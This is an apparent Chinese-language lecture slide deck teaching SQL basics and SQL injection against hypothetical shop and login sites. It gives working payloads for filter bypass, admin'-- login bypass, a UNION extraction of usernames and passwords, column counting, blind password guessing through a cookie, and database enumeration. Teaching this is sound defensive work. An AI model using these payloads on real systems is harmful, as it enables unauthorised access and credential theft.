Cybersecurity[3]

SQL

 Claire

  • 北資一六社長 x 網管
  • 競程是舊愛 而且我很爛
  • 新歡大概是資安
  • 但我都只打水題
  • 樹枝爆肝仔

Who am I

1

SQL

2

 

 

 

SQLi

Index

SQL

SQL

  • Structured Query Language
  • 管理和操作關聯式資料庫的標準語言
  • 關聯式資料庫:以表格儲存資料
  • 資料庫 (Database) 本身由下列結構組成:
    • 資料庫 (database)
    • 資料表 (table)
    • 欄位 (column)
    • 資料 (data)

SELECT

  • SELECT 與 FROM 是從指定的資料表中選擇欄位查詢
    • SELECT *:選擇資料表的「所有」欄位
    • SELECT column_name:選擇資料表的「指定」欄位
    • 指定多個欄位:用逗號將欄位名隔開
    • SELECT column_name AS new_name:選擇欄位並改名
    • 後加 WHERE condition:布林比較
      • =:相等
      • AND:個條件皆為真才為真
      • OR:個條件皆為假才為假
      • NOT:將條件的比較結果真假互換
      • BETWEEN a AND b:數據大小在 a 和 b 間 
    • 後加 ORDER BY:指定變數來排序
    • 兩個 SELECT 間加 UNION 可連結

SELECT

SELECT class_number AS c_no
FROM students
WHERE class_number NOT BETWEEN 3 AND 5
ORDER BY c_no
  SELECT 選取
    FROM 來源
   WHERE 條件 
GROUP BY 分組
  HAVING 條件
ORDER BY 順序
   LIMIT 筆數限制
  • URL 編碼/百分號編碼
  • 將 URL 中包含的特殊字符(空格、&、?)和非 ASCII 字符(中文)轉換成瀏覽器和伺服器能安全傳輸、理解的格式
  • WHY?
    • URL 只能用 ASCII
    • 某些字符(如?, /, &)在 URL 中有特殊含義
      • 直接使用會造成歧義或錯誤

SQL Injection

查詢隱藏資料

  • 假設一個網站用 https://shop.com/products?p_type=food 查商品類別為 food 的商品
  • 後端收到參數 p_type 後,會執行:

    • p_type = 'food':查詢 food 類別的商品

    • released = 1:已發布商品

SELECT * FROM products 
WHERE p_type = 'food' AND released = 1

想看到還沒發佈的商品?

查詢隱藏資料

SELECT * FROM products 
WHERE p_type = 'food'+OR+1=1--' AND released = 1
  • 註解掉 AND 後面的條件
    • + 在網址中是空白(%20)的意思
  • https://shop.com/products?p_type=food'+OR+1=1--
  • OR 1=1:永遠為真

影響應用程式邏輯

  • 假設一個網站有登入系統

username: input1

password: input2

  • 提交帳號密碼後執行

 

 

 

  • 用某種神秘方法發現管理員帳號是 admin
SELECT * FROM users 
WHERE username = input1 AND password = input2

欸欸我也想當管理員

影響應用程式邏輯

SELECT * FROM users 
WHERE username = 'admin'--' AND password = 
  • 把密碼註解掉就好了啊

username: admin'--

password:                

  • 提交後後端執行

 

 

  • -- 之後的內容被註解掉
  • 跳過密碼檢查,也就繞過登入

UNION 攻擊

  • 前面說過 UNION 可以執行多個額外的 SELECT
    • 每個查詢要回傳相同數量的資料
    • 資料型態在查詢之間要符合
  • 假設剛剛的購物網站有一個頁面可以顯示商品的敘述
  • 可以輸入你想要的商品種類

 

 

  • 也有登入功能,但無法直接注入

如何透過這個操作就能得到帳密資料?

SELECT p_name, p_description FROM products 
WHERE p_type = 'food' 

UNION 攻擊

  • UNION 進行第二個 SELECT 操作
  • 透過注入在後方加入

food' UNION SELECT username, password FROM users --

 

 

 

  • 欄數要相同、對應的欄位形態要一樣或可被轉換
SELECT p_name, p_description FROM products 
WHERE p_type = 'food' UNION SELECT username, password FROM users --' 

確定需要多少欄位

SELECT * FROM products 
WHERE p_type = 'food' ORDER BY 1--' AND released = 1
  • 利用 ORDER BY 測試(用第 n 個欄位排序)
    • ORDER BY 1--
    • ORDER BY 2--
    • ORDER BY 3--
    • 直到出現錯誤,可推測有幾個欄位

確定需要多少欄位

SELECT * FROM products
WHERE p_type = 'food'
UNION SELECT NULL--' AND released = 1
  • 利用 UNION SELECT NULL 測試(UNION 欄位數需相同)
    • ' UNION SELECT NULL--
    • ' UNION SELECT NULL,NULL--
    • ' UNION SELECT NULL,NULL,NULL--
    • 直到沒有錯誤,NULL 的個數就是欄位數
  • 為什麼用 NULL
    • NULL 可被轉換成大部分型態
    • 避免型態不相容錯誤

    • UNION 測試的標準寫法

確認欄位型態

SELECT * FROM products
WHERE p_type = 'food' UNION SELECT 'a', NULL, NULL, NULL--' and released = 1
  • 發現有四個欄位後,便可逐一測試哪個欄位能放字串:
  • 該欄位不能被轉成字串會噴錯,由此判斷該欄位型態

盲 SQL 注入

  • 有 SQLi 但網頁或回應不直接顯示錯誤或回傳查詢結果
  • 無法使用先前類似 UNION 的方法直接取得想要的資料
  • 先測試回應
    • 假設伺服器會透過 Cookie 參數 TrackingId 檢查該使用者是否已存在資料庫 TrackedUsers 中
    • TrackingId = x' UNION SELECT 'a' WHERE 1=1--
      • 1=1 回傳 true,畫面就顯示「Welcome back」
    • TrackingId = x' UNION SELECT 'a' WHERE 1=2--
      • ​1=2 回傳 false,畫面不顯示「Welcome back」

 

 

  • 測試是否有使用者 admin 
TrackingId = x' UNION SELECT 'a' FROM users WHERE username='admin'--

盲 SQL 注入

  • 可使用二分搜尋的概念,一個字元一個字元地猜測密碼
TrackingId = x' UNION SELECT 'a' 
FROM Users 
WHERE Username = 'admin' 
  AND LENGTH(Password) > 10 --
  • 確認密碼長度後開始猜密碼

  • SUBSTRING(Password,1,1):從 Password 欄位第 1 個字元開始取 1 個字元

  • ASCII < 'm' 就會噴錯

  • 繼續猜

TrackingId = x' UNION SELECT 'a' 
FROM Users 
WHERE Username = 'admin' 
  AND SUBSTRING(Password, 1, 1) > 'm' --
TrackingId = x' UNION SELECT 'a' 
FROM Users 
WHERE Username = 'admin' 
  AND SUBSTRING(Password, 2, 1) > 'm' --

確認資料庫類型

  • 常見:Microsoft SQL Server、MySQL、Oracle、PostgreSQL
  • 查詢版本資訊的方式不同

DUAL

  • 系統預設的一張「虛擬表」
  • 用來在沒有實際資料表時執行 SELECT

  • Oracle 的 SELECT 一定要有 FROM

 

 

  • MySQL:可以用 FROM DUAL,但不是必要

  • MSSQL:不使用 FROM DUAL

SELECT 'test' FROM DUAL

列出資料庫的內容

MySQL / MSSQL

  • information_schema 保存資料庫、資料表、欄位等:
  • information_schema.schemata
    • schema_name:資料庫名稱
  • information_schema.tables
    • table_name:資料表名稱
    • 關聯欄位 table_schema:對應資料庫名稱
  • information_schema.columns
    • column_name:欄位名稱
    • 關聯 table_name:對應資料表

列出資料庫的內容

-- 取得所有資料庫清單
SELECT schema_name 
FROM information_schema.schemata;

-- 在知道資料庫名稱後,查找該資料庫中的所有資料表
SELECT table_name 
FROM information_schema.tables 
WHERE table_schema='資料庫名稱';

-- 在知道資料表後,查找該資料表中的所有欄位
SELECT column_name 
FROM information_schema.columns 
WHERE table_name='資料表名稱';

-- 最後再真正撈取該表的所有資料
SELECT 欄位名稱 
FROM 資料庫名稱.資料表名稱;

MySQL / MSSQL

列出資料庫的內容

SELECT table_name FROM all_tables;
SELECT column_name FROM all_tab_columns WHERE table_name='資料表名稱';
SELECT 欄位名稱 FROM 資料庫名稱.資料表名稱;

Oracle

列出資料庫的內容

SELECT * FROM all_tables;
SELECT * FROM all_tab_columns WHERE table_name='資料表名稱';

Oracle

SELECT * FROM information_schema.tables;
SELECT * FROM information_schema.columns WHERE table_name='資料表名稱';

Microsoft、PostgreSQL、MySQL

資料庫特定注意事項

  • 字串連接的方式(||+CONCAT() …)
  • 不同註解符號(--#/*...*/
  • 是否支援批次查詢或多敘述執行
  • 平台特定的 API 或函數
  • 錯誤訊息格式、是否回傳詳細資訊

Practice

Thank You!

Made with Slides.com